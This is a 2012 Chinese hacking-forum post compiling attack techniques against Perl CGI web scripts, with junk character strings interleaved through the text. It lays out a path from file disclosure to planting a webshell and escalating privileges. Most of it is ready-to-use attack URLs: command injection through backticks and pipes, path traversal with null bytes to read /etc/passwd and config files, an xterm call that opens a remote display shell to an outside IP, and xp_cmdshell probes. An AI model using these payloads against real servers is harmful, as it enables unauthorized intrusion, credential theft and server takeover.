找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2940|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  % k$ n: N  X8 p2 L
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  7 M% P3 j6 P% J4 M2 a7 J( q
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  3 n9 c$ `" R" H( [
注“  0 p$ l/ [6 [  x, I" @
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  , z1 i7 t. f/ O8 \
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
) P1 ?* c5 w* A7 p: Y( M
8 h" W  X$ |$ z, U5 N. |/ U% Q* chttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
, N3 x* p  M4 a5 f5 N. F3 ?- R; [/ h* m) Phttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  6 h$ o( O( F% ]+ ?
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  - v7 u  W9 C) R+ t+ u! u
http://target.com/cgi-bin/home/news/sub.pl?`id`  
- n9 `3 N) [* |0 W. a2 [http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
8 ]% @2 j% E, `( ^" x% H( m# _http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  & Y; A" w$ `0 D6 o, J9 J

" x  O5 ~9 T9 {8 v2 Xhttp://target.com/test.pl;ls|  * j' A- V* b7 r+ Y) ?- T) B2 Y
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
$ L- x. W  ]4 Uhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  ; q8 S/ R% k  t1 n; U2 _
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  + s3 O7 n0 N4 N: E/ X6 W
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  , @/ d2 i7 z. H' Y( C+ S
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
3 C+ r. E' ~& X8 A$ S, Z" m# T& {
http://target.com/test.pl?&........ /../../etc/passwd  
6 c3 u* z/ o9 F& X- t7 |6 t5 P/ I2 t: d2 a% y( }
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
8 v* q& N9 |8 A* rhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  ; Y, a" ~1 t* l8 }4 Y, Y: L
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  4 J  _" ^; Y: J. k' v

5 n  C! u! x+ s( h. rhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  
7 m9 y5 j$ U' p, O5 Uhttp://www.target.org/show.php?f ... ng/admin/global.php  
: K$ G$ g( C- E8 ^- H+ @1 e
/ [9 \+ N, g* k8 \( @, ?emm和ps的一句话# ]% R& e4 m% c# v2 v; v" ~

0 o% Q' U  W' c; @( h$ g" l$ c% |0 Yhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20    Y4 j. A6 O# i8 G
; J' R" b% p/ M# X* K
>bbb%20|  
4 e3 p; J6 h8 m+ D% o6 s# Q" i4 D0 t; n; @4 w8 V' _* D
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  2 I% {: Z8 \( F0 [6 ~
5 q2 t) x. W. D' e- Z, ^* Q
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
' d5 [( M) ~& phttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
  D, C7 R( V1 z3 C$ P( L5 F' T
% N) M/ H: Z4 ^" @相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  ! i% k# v3 V% ?* g# C& R9 `
http://target.com/index.html#cmd.exe  
2 _5 d" d5 ?3 n9 e0 Nhttp://target.com/index.html?dummyparam=xp_cmdshell  ; H+ [8 G1 s5 e! W2 x2 @: W
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd    w. W7 _) ^- N/ Q  S8 v5 o9 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表